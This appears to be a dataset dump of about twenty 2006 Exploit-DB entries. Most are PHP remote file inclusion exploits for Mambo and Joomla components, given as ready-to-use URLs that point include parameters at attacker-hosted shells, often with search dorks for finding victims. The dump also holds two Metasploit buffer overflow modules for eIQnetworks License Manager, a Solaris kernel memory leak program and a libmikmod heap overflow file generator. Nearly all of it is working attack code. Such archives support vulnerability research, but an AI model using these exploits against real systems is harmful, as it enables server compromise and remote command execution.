QLWD/code_shield huggingface dataset:
标题: Mambo Component MGM 0.95r2 - Remote File Inclusion EDB-ID: 2084 CVE: 2006-3980 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-28 漏洞利用脚本: ----------------------------------------------------
Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities
----------------------------------------------------
Discovered By A-S-T TEAM
WE ARE CrAsH_oVeR_rIdE & BLACK-CODE & MR-HCR
----------------------------------------------------
site of script:http://mamboxchange.com/frs/?group_id=175&release_id=1289
----------------------------------------------------
Vulnerable: Mambo Gallery Manager v095.r3(mgm)
----------------------------------------------------
vulnerable file :
------------------
help.mgm.php
----------------------------------------------------
vulnerable code:
----------------------------------------------------
require $mosConfig_absolute_path .
"/administrator/components/com_mgm/diagnostics.mgm.php";
$mosConfig_absolute_path File inclusion
----------------------------------------------------
Exploit:
http://www.example.com/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=http://evalcode.txt
----------------------------------------------------------------------------------------------------
Discovered By A-S-T TEAM
Site:www.lezr.com
Greetz:KING-HACKER,YOUNG_HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,ALMOKAN3,Broken-proxy,troq AND ALL LEZR.COM Member

# milw0rm.com [2006-07-28] URL: https://www.exploit-db.com/exploits/2084
标题: Mambo Component Security Images 3.0.5 - Remote File Inclusion EDB-ID: 2083 CVE: 2006-5048 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-28 漏洞利用脚本: # http://forge.joomla.org/sf/projects/com_securityimages

##### Marckusbest is the Best lamah of irc, fuck you
##########
com_securityimages Mambo  Remote File Include
------------------------------------------------------------------------------------
Bug Found by: Drago84
greetz: Exclusive Security
This bug allows a remote atacker to execute commands via
rfi

page:
client.php
configinsert.php
lang.php
server.php

expl:
http://web/components/com_securityimages/configinsert.php?mosConfig_absolute_path=http://shell.txt
http://web/components/com_securityimages/lang.php?mosConfig_absolute_path=http://shell.txt

########## MarckusBest Fottiti
#############################

# milw0rm.com [2006-07-28] URL: https://www.exploit-db.com/exploits/2083
标题: Portail PHP 1.7 - 'chemin' Remote File Inclusion EDB-ID: 2081 CVE: 2006-3922 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-27 漏洞利用脚本: Portail PHP v1.7 <- (chemin) Remote Inclusion Vulnerability

#Author: xoron

#script: Portail PHP

#Class : Remote

#cont@ct: x0r0n[at]hotmail[dot]com

#CODE:    include ("$chemin/include/config.php")

#Exploit:
http://www.site.com/[path]/mod_membre/inscription.php?chemin=http://evil_scripts?

#Thanx : WWW.CYBER-WARRiOR.ORG

#Greetz: DJR, x-mastER, R3D4C!D and all cyber-warrior users.

# milw0rm.com [2006-07-27] URL: https://www.exploit-db.com/exploits/2081
标题: WMNews 0.2a - 'base_datapath' Remote File Inclusion EDB-ID: 2077 CVE: 2006-3928 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-27 漏洞利用脚本: Advisory: WMNews Remote File Include Vulnerability
 Release Date: 2006/07/26
         Author: uNfz
  Critical Level: High
        Contact: unfzbr@hotmail.com
         Vendor: Warta Mikael

--------------------
--------------------

Searching / Dork:

allinurl: *.php?Artid=*
allinurl: *.php?ArtCat=*
allinurl: wmprint.php
allinurl: wmview.php

--------------------

exploration:

/index.php?config=1&base_datapath=http://[evilhost]
/[dir]/index.php?config=1&base_datapath=http://[evilhost]

--------------------

uNfz
irc.efnet.org

# milw0rm.com [2006-07-27] URL: https://www.exploit-db.com/exploits/2077
标题: Mambo Component mambatStaff 3.1b - Remote File Inclusion EDB-ID: 2086 CVE: 2006-3947 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-29 漏洞利用脚本: # mambatstaff Mambo Component <=  Remote Include Vulnerability

# Rish : High
# Class : Remote
# Script : mambatstaff
# Thanx : www.lezr.com/vb & All kuwait hackers

# d0rkiz : allinurl:"com_mambatstaff"

#
http://www.site.com/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://shell.txt

# by Dr.Jr7

# milw0rm.com [2006-07-29] URL: https://www.exploit-db.com/exploits/2086
标题: Joomla! Component com_bayesiannaivefilter 1.1 - Remote File Inclusion EDB-ID: 2090 CVE: 2006-3962 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-30 漏洞利用脚本: #############################Pablin77 - XTech Inc Group################################
#
# com_bayesiannaivefilter Mambo Component Remote File Inclusion (mosConfig_absolute_path)
#
#################################################################################
#
# Discovered By Pablin77
#
#
# contact: Pablin_77 [at] Argentina [dot] com
#
#
#          Lebanon-Israel...STOP! No War!!!
#
#                     peace, that's all
#
#  This is a massive cyber-protest, we are :
#
#  eno7 | XTech Inc | byond crew | hackbsd crew | digitalmind
#
#
################################################################################
#
# Greetz: eno7 , Byond Crew
#
# Special Gretz:XTeh Inc (Status-x, Furtivo, sys7ech)
#
###############################################################################

code from lang.php

include_once($mosConfig_absolute_path.'/administrator/components/com_bayesiannaivefilter/languages/'.$mosConfig_lang.'.php');
  } else { 
    include_once($mosConfig_absolute_path.'/administrator/components/com_bayesiannaivefilter/languages/english.php');
  }

Web:
http://forge.joomla.org/sf/scm/do/listRepositories/projects.com_bayesianspamfiltering/scm

exploit:
http://site.com/[path]/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=[Evilcode]

##############################MARY TE AAAAAMOOOO!!!############################
###############################################################################

# milw0rm.com [2006-07-30] URL: https://www.exploit-db.com/exploits/2090
标题: Mambo Component User Home Pages 0.5 - Remote File Inclusion EDB-ID: 2089 CVE: 2006-3995 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-30 漏洞利用脚本: >>> Kurdish Security

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : User Home Pges

>>> Site : www.ravensportal.co.uk

>>> Thanx : kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca and other my friends

Code :

global $mosConfig_absolute_path;
require($mosConfig_absolute_path."/administrator/components/com_uhp/uhp_config.inc");

d0rkiz : allinurl:"com_uhp"

http://www.w0rkzsite.com/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=y0urscripts.txt?&cmd=id

And used link :]

footer.php
functions.php
install.uhp.php
toolbar.uhp.html.php
uhp.class.php
uhp_config.php
uninstall.uhp.php

# milw0rm.com [2006-07-30] URL: https://www.exploit-db.com/exploits/2089
标题: Mambo Component 'com_a6mambohelpdesk' 18RC1 - Remote File Inclusion EDB-ID: 2078 CVE: 2006-3930 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-27 漏洞利用脚本: a6mambohelpdesk Mambo Component <= 18RC1 Remote Include Vulnerability

# Rish : High
# Class : Remote
# Script : a6mambohelpdesk
# Thanx : www.lezr.com/vb

# codes

<?
include("$mosConfig_live_site/components/com_a6mambohelpdesk/about.html" );
?>

# d0rkiz : allinurl:"com_a6mambohelpdesk"

http://www.site.com/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://shell.txt


# by Dr.Jr7

# milw0rm.com [2006-07-27] URL: https://www.exploit-db.com/exploits/2078
标题: Mambo Component 'com_colophon' 1.2 - Remote File Inclusion EDB-ID: 2085 CVE: 2006-3969 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-29 漏洞利用脚本: ###########  Command Mambo Colophon =<1.2 ##by #Drago84#########

      Found By Drago84
Exclusive Security Italian Security

  This bug allows a remote atacker to execute commands via rfi

page:
  admin.colophon.php

bug:
 require_once("$mosConfig_absolute_path/components/com_colophon/language/$mosConfig_lang.php");

path:
add in admin.colophon.php
defined( '_VALID_MOS' ) or die( 'hacking attemp.' );

dork: inurl:com_colophon

expl:
htttp:/www.site.it/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=http://evalsite/shell.php?

# milw0rm.com [2006-07-29] URL: https://www.exploit-db.com/exploits/2085
标题: eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) EDB-ID: 2074 CVE: 2006-3838 类型: REMOTE 平台: WINDOWS 发布日期: 2006-07-26 漏洞利用脚本: #!/usr/bin/perl -w

#metasploit module for EIQ Licence manager overflow Provided by ri0t of Bastard Labs

package Msf::Exploit::EiQ_License_1262; 
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
 'Name'     => 'EIQ License Manager Overflow',
 'Authors'  => [ 'ri0t ri0t@ri0tnet.net, KF kf_list@digitalmunition.com' ],

 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'win2000', 'winxp' ],
 'Priv'  => 0,
 
 'AutoOpts'  => { 'EXITFUNC' => 'seh' },
 
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 10616],
  },
        'Payload'  =>
   {
  'Space' => 1262,
  'BadChars'  => "\x00\x0a\x0d\x40\x26",
            },
          'Description'  =>  Pex::Text::Freeform(qq{
 This module exploits the buffer overflow found in the LICMGR_ADDLICENSE
        Field of EIQ networks network analyser this module exploits buffers of 1262 bytes
 in size. This module should work on all rebranded eiq analysers.  Exploitation
 assistance from KF of digital munition.
        }),
          
          
        'DefaultTarget' => 1,
 'Targets' =>
   [
         ['Windows 2000 SP0-SP4 English', 0x750316e2],   # call ebx
  ['Windows XP English SP1/SP2', 0x77db64dc ], # jmp ebx
         ['Windows Server 2003 English SP0/SP1', 0x77d16764 ],   # jmp ebx
   ],
          
  };
  
  sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}
  
  sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target      = $self->Targets->[$target_idx];
        my $nops  = $self->MakeNops(1262 - length($shellcode));
        my $ret         =  pack("V", $target->[1]);
        my $evil        = "LICMGR_ADDLICENSE&" . $nops . $shellcode . $ret . "&";
 
            
        my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
       );
          
          if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }
          $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
          
          $s->Send("$evil");
          return;
  }

# milw0rm.com [2006-07-26] URL: https://www.exploit-db.com/exploits/2074
标题: Solaris 10 - 'sysinfo()' Local Kernel Memory Disclosure (1) EDB-ID: 2067 CVE: 2006-3824 类型: LOCAL 平台: SOLARIS 发布日期: 2006-07-24 漏洞利用脚本: /* Sun Microsystems Solaris sysinfo() Kernel Memory Disclosure exploit
 * ===================================================================
 * Local exploitation of an integer overflow vulnerability in Sun
 * Microsystems Inc. Solaris allows attackers to read kernel memory from a
 * non-privileged userspace process. The vulnerability specifically exists
 * due to an integer overflow in /usr/src/uts/common/syscall/systeminfo.c
 *
 * Example Use.
 * $ uname -a 
 * SunOS sunos 5.11 snv_30 sun4u sparc SUNW,Ultra-250
 * $ ./prdelka-vs-SUN-sysinfo kbuf
 * [ Solaris <= 10 sysinfo() kernel memory information leak
 * [ Wrote 1294967293 bytes to kbuf
 * $ ls -al kbuf
 * -rwx------   1 user     other       1.2G Jul 21 23:56 kbuf
 *
 * -prdelka
 */
#include <sys/systeminfo.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define bufsize 1294967293

int main(int argc,char* argv[]){
        int fd;
  ssize_t out;
        char* output_buffer;
 if(argc < 2){
  printf("[ Use with <filepath>\n");
  exit(1);
 }
        printf("[ Solaris <= 10 sysinfo() kernel memory information leak\n");
 output_buffer = malloc(bufsize);
        memset(output_buffer,0,bufsize);
        sysinfo(SI_SYSNAME,output_buffer,0);
        fd = open(argv[1],O_RDWR|O_CREAT,0700);
 if(fd!=-1){
         out = write(fd,output_buffer,bufsize);
  printf("[ Wrote %u bytes to %s\n",out,argv[1]);
         close(fd);
 }
        exit(0);
}

// milw0rm.com [2006-07-24] URL: https://www.exploit-db.com/exploits/2067
标题: libmikmod 3.2.2 - GT2 Loader Local Heap Overflow (PoC) EDB-ID: 2073 CVE: 2006-3879 类型: DOS 平台: MULTIPLE 发布日期: 2006-07-25 漏洞利用脚本: /*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>



#define VER         "0.1"



#define cpy(x,y)    strncpy(x, y, sizeof(x));
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwmem(FILE *fd, uint8_t *data, int size);
void std_err(void);



#pragma pack(1)

typedef struct {
    uint8_t     gt2[3];
    uint8_t     version;
    uint32_t    chunk_size;
    uint8_t     module[32];
    uint8_t     comments[160];
    uint8_t     date_day;
    uint8_t     date_month;
    uint16_t    date_year;
    uint8_t     tracker[24];
    uint16_t    speed;
    uint16_t    tempo;
    uint16_t    volume;
    uint16_t    voices;
    /* voices * 2 */
} gt2_t;

#pragma pack()



int main(int argc, char *argv[]) {
    FILE    *fd;
    gt2_t   gt2;
    int     i;
    char    *fname;

    setbuf(stdout, NULL);

    fputs("\n"
        "libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output_file.GT2>\n"
            "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();

    gt2.gt2[0]        = 'G';
    gt2.gt2[1]        = 'T';
    gt2.gt2[2]        = '2';
    gt2.version       = 4;
    gt2.chunk_size    = 0;                  // unused
    cpy(gt2.module,   "module_name");
    cpy(gt2.comments, "author");
    gt2.date_day      = 1;
    gt2.date_month    = 1;
    gt2.date_year     = 2006;
    cpy(gt2.tracker,  "tracker");
    gt2.speed         = 6;
    gt2.tempo         = 300;
    gt2.volume        = 0;
    gt2.voices        = 0;

    printf("- write GT2 header\n");
    fwrite(&gt2, sizeof(gt2), 1, fd);
    for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);

    printf("- build the XCOM header for exploiting the heap overflow\n");
    fwmem(fd, "XCOM", 4);
    fwi32(fd, 0);                           // unused
    fwi32(fd, 0xffffffff);                  // bug here, 0xffffffff + 1 = 0
    fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

    fclose(fd);
    printf("- finished\n");
    return(0);
}



void fwi08(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
}



void fwi16(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
}



void fwi32(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
    fputc((num >> 16) & 0xff, fd);
    fputc((num >> 24) & 0xff, fd);
}



void fwstr(FILE *fd, uint8_t *str) {
    fputs(str, fd);
}



void fwmem(FILE *fd, uint8_t *data, int size) {
    fwrite(data, size, 1, fd);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}

// milw0rm.com [2006-07-25] URL: https://www.exploit-db.com/exploits/2073
标题: Mambo Component MoSpray 18RC1 - Remote File Inclusion EDB-ID: 2062 CVE: 2006-3847 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-23 漏洞利用脚本: >>> Kurdish Security
>>> MoSpray Remote File Include Vulnerability
>>> Original Advisory : http://kurdishsecurity.blogspot.com/2006/07/kurdish-security-14-mospray-basedir.html

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com
>>> Rish : High
>>> Class : Remote
>>> Script : MoSpray
>>> Site : http://www.caneblu.com
>>> Thanx : kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca and other my friends


codes
require("$basedir/components/com_mospray/lang/$lang/admin.php");

d0rkiz : allinurl:"com_mospray"

http://www.site.com/components/com_mospray/scripts/admin.php?basedir=yourcode.txt?&cmd=id

Used link :]

admin.php
details.php
modify.php
newgroup.php
newtask.php
rss.php

e0f

# milw0rm.com [2006-07-23] URL: https://www.exploit-db.com/exploits/2062
标题: eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) EDB-ID: 2075 CVE: 2006-3838 类型: REMOTE 平台: WINDOWS 发布日期: 2006-07-26 漏洞利用脚本: #!/usr/bin/perl -w

#metasploit module for EIQ Licence manager overflow Provided by ri0t of Bastard Labs

package Msf::Exploit::EiQ_License_494; 
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
 'Name'     => 'EIQ License Manager Overflow',
 'Authors'  => [ 'ri0t ri0t@ri0tnet.net, KF kf_list@digitalmunition.com' ],

 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'win2000', 'winxp' ],
 'Priv'  => 0,
 
 'AutoOpts'  => { 'EXITFUNC' => 'seh' },
 
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 10616],
  },
        'Payload'  =>
   {
  'Space' => 494,
  'BadChars'  => "\x00\x0a\x0d\x40\x26",
            },
          'Description'  =>  Pex::Text::Freeform(qq{
 This module exploits the buffer overflow found in the LICMGR_ADDLICENSE
        Field of EIQ networks network analyser this module exploits buffers of 494 bytes
 in size. This module should work on all EIQ branded analysers.  Exploitation
 assistance from KF.
        }),
          
          
        'DefaultTarget' => 1,
 'Targets' =>
   [
  ['Windows 2000 SP0-SP4 English', 0x750316e2],   # call ebx
  ['Windows XP SP1/SP2 English', 0x77db64dc ], # jmp ebx
         ['Windows Server 2003 SP0/SP1 English', 0x77d16764 ],   # jmp ebx 
   ],
          
  };
  
  sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}
  
  sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target      = $self->Targets->[$target_idx];
        my $nops  = $self->MakeNops(494 - length($shellcode));
        my $ret         =  pack("V", $target->[1]);
        my $evil        = "LICMGR_ADDLICENSE&" . $nops . $shellcode . $ret . "&";
 
            
        my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
       );
          
          if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }
          $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
          
          $s->Send("$evil");
          return;
  }

# milw0rm.com [2006-07-26] URL: https://www.exploit-db.com/exploits/2075
标题: Mambo Component multibanners 1.0.1 - Remote File Inclusion EDB-ID: 2066 CVE: 2006-3846 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-23 漏洞利用脚本: #############################SolpotCrew Community################################
#
# Com Multibanners Remote File Inclusion (mosConfig_absolute_path)
#
# original advisory : http://solpotcrew.org/adv/BlueSpy-adv-multibanners.txt
#
#################################################################################
#
#
# Bug Found By :Blue|Spy
#
# contact: mail@blue-spy.net
#
# Website : http://kunamgede.biz, http://blue-spy.net
#
################################################################################
#
#
# Greetz: h4ntu , Fungky, Solpot, Matdhule
# and all crew #mardongan @ irc.dal.net
#
#
###############################################################################

code from extadminmenus.class.php

if (phpversion() < '4.2.0') {
require_once( $mosConfig_absolute_path . '/includes/compat.php41x.php' );
}

if (phpversion() < '4.3.0') {
require_once( $mosConfig_absolute_path . '/includes/compat.php42x.php' );
}

Dork:
inurl:com_multibanners

exploit:
http://site.com/[path]//administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=[attacker]

##############################MY LOVE JUST FOR U LIENA#########################
########################################################################

# milw0rm.com [2006-07-23] URL: https://www.exploit-db.com/exploits/2066
标题: Mambo Component Mam-Moodle alpha - Remote File Inclusion EDB-ID: 2064 CVE: 2006-3951 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-23 漏洞利用脚本: ####################################################################################
#Mam - Moodle Remote File Include
------------------------------------------------------------------------------------
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi

path: ?mosConfig_absolute_path=

xpl:
http://web/components/com_moodle/moodle.php?mosConfig_absolute_path=http://shell.txt

Contact: irc.undernet.org #hackbsd

# milw0rm.com [2006-07-23] URL: https://www.exploit-db.com/exploits/2064
标题: Mambo Component PrinceClan Chess 0.8 - Remote File Inclusion EDB-ID: 2069 CVE: 2006-5044 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-24 漏洞利用脚本: # pc_chess Component

- dork : index.php?option=com_pcchess

- exploit :

http://[target]/[path]/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=http://[attacker]/cmd.txt?&cmd=ls 

# milw0rm.com [2006-07-24] URL: https://www.exploit-db.com/exploits/2069
标题: PHP Forge 3 Beta 2 - 'cfg_racine' Remote File Inclusion EDB-ID: 2058 CVE: 2006-3917 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-22 漏洞利用脚本: \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
phpforge3b2(cfg_racine) Remote File Inclusion Vulnerability
------------------------
Virangar Security Team
www.virangar.org >public
www.virangar.net >priv8
--------
Discoverd By : Snake & hadihadi_zedehal
contact  :  Snake.Apollyon@YaHo0.com  ** hadihadi_zedehal_2006@YaHo0.com
special tnx 2: A.Nosrati * l0pht.Blackhot * Kouros.virus & all virangar members
greetz:hadi_aryaie2004 * ahmad_virangar2004  * mahtab_e66
---------
bug found in file :gabarits.php
Remote : Yes
Critical Level : Dangerous
web:http://phpforge.oirac.com/
---------
vlu codes:
include_once($cfg_racine."inc/systeme.php");
---------

http://www.victim.com/[patch]/inc/gabarits.php?cfg_racine=[evil script]

--------
See you in Hell!!.....
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

# milw0rm.com [2006-07-22] URL: https://www.exploit-db.com/exploits/2058
标题: Microsoft Windows - DHCP Client Broadcast (MS06-036) EDB-ID: 2054 CVE: 2006-2372 类型: REMOTE 平台: WINDOWS 发布日期: 2006-07-21 漏洞利用脚本: MS Windows DHCP Client Broadcast Attack Exploit (MS06-036)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2054.tar.gz (07212006-MS06_036_DHCP_Client.tar.gz)

# milw0rm.com [2006-07-21] URL: https://www.exploit-db.com/exploits/2054